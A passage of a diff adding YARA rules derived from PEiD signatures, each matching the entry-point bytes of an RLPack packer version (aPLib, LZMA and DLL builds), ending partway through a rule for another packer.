+        description = "[RLPack 1.18 Dll (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01984_RLPack_1_18_Dll__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack 1.18 Dll (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 08 83 3C 37 00 75 E6 83 BD 0D 0B 00 00 00 74 0E 83 BD 11 0B 00 00 00 74 05 E8 F6 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 1D 0B 00 00 5B 60 FF B5 F9 0A 00 00 56 FF B5 1D 0B 00 00 FF D3 61 8B B5 1D 0B 00 00 8B C6 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01985_RLPack_1_20_Basic_Edition__aPLib_____Ap0x_
+{
+    meta:
+        description = "[RLPack 1.20 Basic Edition [aPLib] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 92 05 00 00 EB 0C 8B 85 8E 05 00 00 89 85 92 05 00 00 8D B5 BA 05 00 00 8D 9D 41 04 00 00 33 FF E8 38 01 00 00 EB 1B 8B 85 92 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 9E 05 00 00 00 74 0E 83 BD A2 05 00 00 00 74 05 E8 D6 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01986_RLPack_1_20_Basic_Edition__LZMA_____Ap0x_
+{
+    meta:
+        description = "[RLPack 1.20 Basic Edition [LZMA] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 9C 0C 00 00 EB 0C 8B 85 98 0C 00 00 89 85 9C 0C 00 00 8D B5 C4 0C 00 00 8D 9D 82 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 2D 0C 00 00 89 85 94 0C 00 00 E8 59 01 00 00 EB 20 60 8B 85 9C 0C 00 00 FF B5 94 0C 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83}
+    condition:
+        $a
+}
+
+rule PEiD_01987_RLPack_Full_Edition_1_17__LZMA__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 73 26 00 00 8D 9D 58 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+    condition:
+        $a
+}
+rule PEiD_01988_RLPack_Full_Edition_1_17____Ap0x_
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01989_RLPack_Full_Edition_1_17__aPLib__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 [aPLib]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 74 1F 00 00 8D 9D 1E 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+    condition:
+        $a
+}
+
+rule PEiD_01990_RLPack_Full_Edition_1_17_DLL__LZMA__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 DLL (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85}
+    condition:
+        $a
+}
+
+rule PEiD_01991_RLPack_Full_Edition_1_17_DLL____Ap0x_
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 DLL -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+    condition:
+        $a
+}
+
+rule PEiD_01992_RLPack_Full_Edition_1_17_DLL__aPLib__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 DLL [aPLib]]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 53 03 00 00 8D 9D 02 02 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75}
+    condition:
+        $a
+}
+
+rule PEiD_01993_RLPack_Full_Edition_1_17_iBox__LZMA__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 iBox (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 67 30 00 00 8D 9D 66 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+    condition:
+        $a
+}
+
+rule PEiD_01994_RLPack_Full_Edition_1_17_iBox__aPLib__
+{
+    meta:
+        description = "[RLPack Full Edition 1.17 iBox [aPLib]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 79 29 00 00 8D 9D 2C 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+    condition:
+        $a
+}
+
+rule PEiD_01995_RLPack_V1_0_beta____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.0.beta -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01996_RLPack_V1_11____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.11 -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01997_RLPack_V1_12_V1_14__aPlib_0_43_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.12-V1.14 (aPlib 0.43) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF EB 0F FF ?? ?? ?? FF ?? ?? ?? D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01998_RLPack_V1_12_V1_14__LZMA_4_30_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.12-V1.14 (LZMA 4.30) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 60}
+    condition:
+        $a
+}
+
+rule PEiD_01999_RLPack_V1_15_V1_17__aPlib_0_43_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.15-V1.17 (aPlib 0.43) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 45 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB}
+    condition:
+        $a
+}
+
+rule PEiD_02000_RLPack_V1_15_V1_17__LZMA_4_30_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.15-V1.17 (LZMA 4.30) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 83 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB 14}
+    condition:
+        $a
+}
+
+rule PEiD_02001_RLPack_V1_15_V1_17_Dll____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.15-V1.17 Dll -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+    condition:
+        $a
+}
+rule PEiD_02002_RLPack_V1_18__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68}
+    condition:
+        $a
+}
+
+rule PEiD_02003_RLPack_V1_18__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 ?? 83 3C 37 00 75 E6}
+    condition:
+        $a
+}
+
+rule PEiD_02004_RLPack_v1_18_Basic__aPLib_____Ap0x_
+{
+    meta:
+        description = "[RLPack v1.18 Basic [aPLib] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+    condition:
+        $a
+}
+
+rule PEiD_02005_RLPack_v1_18_Basic__LZMA_____Ap0x_
+{
+    meta:
+        description = "[RLPack v1.18 Basic [LZMA] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+    condition:
+        $a
+}
+
+rule PEiD_02006_RLPack_v1_18_Basic_DLL__aPLib_____Ap0x_
+{
+    meta:
+        description = "[RLPack v1.18 Basic DLL [aPLib] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83}
+    condition:
+        $a
+}
+
+rule PEiD_02007_RLPack_v1_18_Basic_DLL__LZMA_____Ap0x_
+{
+    meta:
+        description = "[RLPack v1.18 Basic DLL [LZMA] -> Ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A}
+    condition:
+        $a
+}
+
+rule PEiD_02008_RLPack_V1_18_Basic_Edition__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Basic Edition (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74}
+    condition:
+        $a
+}
+
+rule PEiD_02009_RLPack_V1_18_Basic_Edition__aPLib_or_LZMA_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Basic Edition (aPLib or LZMA) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? 00 00 8D 9D ?? 02 00 00 33 FF E8 ?? 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_02010_RLPack_V1_18_Basic_Edition__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Basic Edition (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00}
+    condition:
+        $a
+}
+
+rule PEiD_02011_RLPack_V1_18_Dll__aPlib_0_43_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Dll (aPlib 0.43) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7}
+    condition:
+        $a
+}
+
+rule PEiD_02012_RLPack_V1_18_Dll__LZMA_4_30_____ap0x_
+{
+    meta:
+        description = "[RLPack V1.18 Dll (LZMA 4.30) -> ap0x]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF}
+    condition:
+        $a
+}
+
+rule PEiD_02013_RLPack_V1_19__aPlib_0_43_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 (aPlib 0.43) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3}
+    condition:
+        $a
+}
+
+rule PEiD_02014_RLPack_V1_19__aPlib_0_43_____ap0x_nbsp___nbsp___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 (aPlib 0.43) -> ap0x&nbsp; &nbsp;! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02015_RLPack_V1_19__LZMA_4_30_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 (LZMA 4.30) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76}
+    condition:
+        $a
+}
+rule PEiD_02016_RLPack_V1_19__LZMA_4_30_____ap0x_nbsp___nbsp___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 (LZMA 4.30) -> ap0x&nbsp; &nbsp;! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+    condition:
+        $a
+}
+rule PEiD_02017_RLPack_V1_19_Dll__aPlib_0_43_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 Dll (aPlib 0.43) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 89 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04}
+    condition:
+        $a
+}
+
+rule PEiD_02018_RLPack_V1_19_Dll__aPlib_0_43_____ap0x_nbsp___nbsp___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 Dll (aPlib 0.43) -> ap0x&nbsp; &nbsp;! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 89 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02019_RLPack_V1_19_Dll__LZMA_4_30_____ap0x___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 Dll (LZMA 4.30) -> ap0x ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA}
+    condition:
+        $a
+}
+rule PEiD_02020_RLPack_V1_19_Dll__LZMA_4_30_____ap0x_nbsp___nbsp___Sign_by_fly_
+{
+    meta:
+        description = "[RLPack V1.19 Dll (LZMA 4.30) -> ap0x&nbsp; &nbsp;! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {80 7C 24 08 01 0F 85 C7 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_02021_ROD_High_TECH____Ayman_
+{
+    meta:
+        description = "[ROD High TECH -> Ayman]"
+        ep_only = "true"
+    strings:
